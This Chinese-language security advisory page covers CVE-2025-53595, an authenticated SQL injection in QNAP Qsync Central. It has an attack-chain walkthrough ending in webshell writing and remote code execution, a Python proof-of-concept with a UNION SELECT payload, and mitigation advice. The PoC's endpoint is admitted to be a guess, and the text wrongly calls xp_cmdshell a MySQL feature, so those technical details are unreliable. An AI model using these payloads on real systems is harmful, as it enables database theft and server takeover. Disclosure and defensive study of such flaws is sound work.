IPBUF安全漏洞报告
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CVE-2025-53595 CVSS 8.8 高危

CVE-2025-53595 QNAP Qsync Central SQL注入漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-53595
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
QNAP Qsync Central

相关标签

SQL注入QNAPQsync Central远程代码执行高危漏洞CVE-2025-53595已认证漏洞数据库安全NAS安全

漏洞概述

CVE-2025-53595是QNAP Qsync Central中存在的一个高危SQL注入漏洞,CVSS评分为8.8分。该漏洞于2025年10月3日由QNAP安全团队([email protected])披露。Qsync Central是QNAP提供的跨设备文件同步与共享解决方案,允许用户在多台设备之间同步文件。

该漏洞的利用条件为攻击者需要拥有一个有效的用户账户,但不需要用户交互,且可通过网络远程触发。一旦远程攻击者获得了合法的用户凭证并登录系统,便可以利用该SQL注入漏洞在数据库上下文中执行任意SQL语句。由于SQL注入可能导致数据库内容泄露、数据篡改甚至在某些情况下实现远程代码执行,攻击者可以进一步利用该漏洞执行未授权的代码或命令,从而完全控制受影响的系统。

该漏洞对机密性、完整性和可用性均产生高影响(CVSS向量中C:H/I:H/A:H),表明一旦被成功利用,将对系统安全造成严重威胁。QNAP已在Qsync Central 5.0.0.2版本(发布于2025年7月31日)中修复了该漏洞,并建议所有用户尽快升级到修复版本或更高版本以消除安全风险。

技术细节

SQL注入(SQL Injection)是一种经典的Web安全漏洞,其根本原因在于应用程序未对用户输入进行充分的验证和过滤,直接将用户可控的数据拼接到SQL查询语句中,导致攻击者可以通过构造特殊的输入改变原始SQL语句的语义。

在CVE-2025-53595中,Qsync Central的某个后端接口在处理用户提交的参数时,未采用参数化查询(Prepared Statements)或适当的输入过滤、转义机制。攻击者可以在已认证的会话中,向存在漏洞的接口注入恶意SQL片段,例如使用单引号(')闭合原有字符串字面量,再附加UNION SELECT、OR 1=1、堆叠查询(stacked queries)等攻击载荷。

由于该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),且仅需低权限认证(PR:L),无需用户交互(UI:N),因此在拥有合法账户的前提下,远程攻击者可以稳定地利用该漏洞。成功利用后,攻击者可读取或修改数据库中的敏感数据(如用户凭证、文件元数据等),甚至通过数据库特性(如MySQL的INTO OUTFILE、xp_cmdshell等)实现远程代码执行(RCE),从而完全控制Qsync Central服务器。

修复方案是将所有数据库查询改造为参数化查询,并对用户输入进行严格的验证和过滤。QNAP已在5.0.0.2版本中完成了相关修复。

攻击链分析

STEP 1
步骤1:获取合法账户
攻击者首先通过钓鱼、撞库、购买泄露凭证或其他社会工程学手段获取Qsync Central的有效用户账户。由于漏洞仅需低权限认证即可利用,普通用户账户即可满足条件。
STEP 2
步骤2:登录认证
攻击者使用合法凭证通过HTTPS登录到目标Qsync Central服务器,建立认证会话并获取有效的Session Cookie或Token。
STEP 3
步骤3:识别注入点
攻击者通过分析Qsync Central的API接口(如文件夹同步、用户管理、共享设置等功能),识别出未对输入进行充分过滤的参数,作为SQL注入的攻击面。
STEP 4
步骤4:构造注入Payload
攻击者构造恶意的SQL注入Payload,使用UNION SELECT、布尔盲注、时间盲注或堆叠查询等技术,将恶意SQL片段嵌入到合法请求参数中。
STEP 5
步骤5:执行SQL注入
攻击者将构造好的Payload通过认证会话发送到存在漏洞的接口,服务器端未对输入进行参数化处理,导致恶意SQL语句被数据库执行。
STEP 6
步骤6:数据窃取与权限提升
攻击者通过SQL注入读取数据库中的敏感信息(如管理员凭证哈希),并利用数据库特性(如LOAD_FILE、INTO OUTFILE等)尝试写入Webshell或执行系统命令。
STEP 7
步骤7:远程代码执行与系统控制
成功利用SQL注入后,攻击者可实现远程代码执行(RCE),完全控制Qsync Central服务器,进一步渗透内网、窃取同步文件或植入持久化后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-53595 - QNAP Qsync Central SQL Injection PoC # Author: Security Researcher # Description: Demonstrates SQL injection in authenticated Qsync Central endpoint import requests import sys TARGET_URL = "https://target-qnap:8080" USERNAME = "test_user" PASSWORD = "test_password" # Vulnerable endpoint (example - actual endpoint may vary) VULNERABLE_ENDPOINT = "/qsync/api/v1/sync/folder/list" # SQL injection payload - UNION-based injection to extract database info SQL_PAYLOAD = "' UNION SELECT 1,user(),database(),version(),5,6,7-- -" def login(session, base_url, username, password): """Authenticate to Qsync Central and obtain session cookie.""" login_url = f"{base_url}/qsync/api/v1/auth/login" payload = { "username": username, "password": password } resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 200: print("[+] Login successful") return True print("[-] Login failed") return False def exploit_sqli(session, base_url, endpoint, injection): """Send SQL injection payload to vulnerable parameter.""" target_url = f"{base_url}{endpoint}" # The vulnerable parameter is typically 'folder_id' or similar params = { "folder_id": injection, "limit": 10 } headers = { "Content-Type": "application/json", "User-Agent": "Qsync-Client/1.0" } resp = session.get(target_url, params=params, headers=headers, verify=False) print(f"[+] Response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:500]}") return resp def main(): session = requests.Session() if not login(session, TARGET_URL, USERNAME, PASSWORD): sys.exit(1) # Test basic connectivity exploit_sqli(session, TARGET_URL, VULNERABLE_ENDPOINT, "1") # Trigger SQL injection exploit_sqli(session, TARGET_URL, VULNERABLE_ENDPOINT, SQL_PAYLOAD) if __name__ == "__main__": main()

影响范围

QNAP Qsync Central < 5.0.0.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Qsync Central的访问来源,仅允许可信IP地址通过防火墙访问管理端口;2)启用强密码策略并强制所有用户重置密码,启用多因素认证以防止账户被盗用;3)部署WAF规则过滤常见的SQL注入Payload;4)监控Qsync Central的访问日志和数据库查询日志,检测可疑的异常请求和SQL语句;5)暂时禁用非必要的用户账户,缩小攻击面;6)备份所有重要数据,以便在遭受攻击后能够快速恢复。

参考链接

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